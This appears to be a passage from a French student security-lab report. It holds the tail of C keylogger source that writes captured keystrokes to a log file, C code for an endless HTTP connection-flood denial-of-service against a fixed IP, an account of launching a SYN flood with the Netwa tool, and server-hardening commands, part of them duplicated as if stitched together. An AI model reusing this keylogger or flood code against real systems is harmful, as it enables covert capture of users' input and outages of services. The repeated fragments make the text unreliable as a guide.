if ( ismaj() ) towrite='6';






else towrite='-';






break;




case 55 : 






if ( ismaj() ) towrite='7';






else towrite='è';






break;




case 56 : 






if ( ismaj() ) towrite='8';






else towrite='_';






break;




case 57 : 






if ( ismaj() ) towrite='9';






else towrite='ç';






break;




case 48 : 






if ( ismaj() ) towrite='0';






else towrite='à';






break;




case 187 : 






if( ismaj() ) towrite='=';






else towrite='+';






break;




case 186 : 






if ( ismaj() ) towrite='£';






else towrite='$';






break;




case 192 : 






if ( ismaj() ) towrite='%';






else towrite='ù';






break;




case 188 : 






if ( ismaj() ) towrite='?';






else towrite=',';






break;




case 190 : 






if ( ismaj() ) towrite='.';






else towrite=';';






break;




case 191 : 






if ( ismaj() ) towrite='/';






else towrite=':';






break;




case 32 : 






if ( isalt() ) towrite=' ';






else towrite=' ';






break;




case 219 : 






if ( isalt() ) towrite=']';






else towrite=')';






break;




case 223 : 






towrite='!';






break;




case 111 : 






towrite='/';






break;




case 106 : 






towrite='*';






break;




case 109 : 






towrite='-';






break;




case 107 : 






towrite='+';






break;




case 110 : 






towrite='.';






break;



}


}


// On affiche les lettres dans le log


if ( lettre==13 )


{




fprintf(sortie,"\n");


}


else 


fprintf(sortie,"%c",towrite);


compteur++;


if ( compteur==2 ) 


{



fclose(sortie);



fopen(fichier,"a");



compteur=0;


}

}

Le deni de service :

Une attaque par déni de service consiste à saturer un serveur pour qu'il ne soit plus accessible par aucun utilisateur. Pour cela nous effectuons un nombre indéfini de connexion qui elle même effectue un grand nombre de requête 'GET' spécifique au protocole http incluant uniquement des espace en grand nombre.

Code source : 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>

main()
{

int my_socket, i;

char attaque_buff[8000], get_attaque[128]="GET /http/1.0\r\n";

struct sockaddr_in serv_adr;


memset(attaque_buff,' ',8000);


while(1)

{


my_socket = socket(AF_INET,SOCK_STREAM,0);


if(my_socket == -1)


{



perror("Probleme de creation dus socket");



exit(1);


}



serv_adr.sin_family = AF_INET;


serv_adr.sin_port=htons(80);


serv_adr.sin_addr.s_addr=inet_addr("172.16.0.143");



if(connect(my_socket, (struct sockaddr*)&serv_adr, sizeof(serv_adr))<0)


{



perror("Probleme de connexion");



exit(1);


}



send(my_socket, get_attaque, strlen(get_attaque),0);



for(i=0;i<8000;i++)


{



send(my_socket, attaque_buff, strlen(attaque_buff),0);


}





shutdown(my_socket,2);


close(my_socket);

}
}

Apres compilation du code source, nous remarquons que notre logiciel n'effectue pas toutes les taches demandées. Apres quelques modification nous ne sommes pas parvenu à le faire fonctionner correctement c'est pour cette raison qu'en dernier recours nous avons décidé d'utilisé Netwa.

Netwa :

Netwa est un logiciel composé de plus de 200 types d'attaque informatique. Nous pouvons y retrouver les plus connu comme l'ipflooding, le man in the middle et bine d'autre...

L’utilisation est simple, nous choisissons le type d'attaque et une interface graphique correspondant à cette attaque apparaît. Il suffit de remplir les champs puis de lancer l'attaque.


Ici nous pouvons voir qu'il existe 4 types d'attaque par flooding.

Nous choisissons Synflood.

Pour l'attaque Synflood, seul l'adresse et le port source sont demandés. Si la case spoofip n'est pas sélectionnée le type d'initialisation est choisi au hasard, jusqu'à trouver celui qui fonctionne. Une fois tous les champs remplis, nous pouvons lancer l'attaque.
Netwa provoque effectivement  un déni de service et le serveur web n'est plus accessible de l'extérieur. Par contre les pages web sont toujours disponibles du réseau local, nous en avons donc conclu que c'était notre firewall qui était saturé.

max_execution_time = 30





safe_mode = On


sql.safe_mode = On





magic_quotes_runtime =On





magic_quotes_gpc = On





AddType application/x-httpd-php .html


AddType application/x-httpd-php .htm





AddType application/x-httpd-php .php


AddType application/x-httpd-php-source .phps





expose_php = Off





LoadModule php4_module /usr/lib/apache/1.3/libphp4.so





# dpkg-reconfigure apache





<?php phpinfo(); ?>





# apachectl restart





# apt-get install libapache-mod-php4





# apt-get install mysql-server-4.1





# mysqladmin -u root password nouveau_mot_de_passe





# mysql -u root -p





mysql> show databases;





mysql> quit;





# apt-get install phpmyadmin





# dpkg-reconfigure apache-ssl





bind-address = 127.0.0.1





port = 33006





$cfg['Servers'][$i]['port'] = '33006';





# invoke-rc.d mysql restart





# apt-get install clamav clamav-daemon





# dpkg-reconfigure clamav-freshclam





# echo deb http://volatile.debian.net/debian-volatile sarge/volatile main contrib non-free >> /etc/apt/sources.list





# apt-get update





# apt-get dist-upgrade





# apt-get update


# apt-get dist-upgrade





/dev/hda6   /var    ext3     defaults,nodev,noexec    0         2


/dev/hda8   /tmp   ext3     defaults,nodev,noexec    0         2





DPkg


       {


           Pre-Invoke  { "mount /usr -o remount,rw" };


           Post-Invoke { "mount /usr -o remount,ro" };


       };








# apt-get install mysql-server-4.1





# mysqladmin -u root password nouveau_mot_de_passe





# mysql -u root -p





mysql> show databases;





mysql> quit;





# apt-get install phpmyadmin





# dpkg-reconfigure apache-ssl





bind-address = 127.0.0.1





port = 33006





$cfg['Servers'][$i]['port'] = '33006';





# invoke-rc.d mysql restart





# apt-get install clamav clamav-daemon





# dpkg-reconfigure clamav-freshclam





# echo deb http://volatile.debian.net/debian-volatile sarge/volatile main contrib non-free >> /etc/apt/sources.list





# apt-get update





# apt-get dist-upgrade
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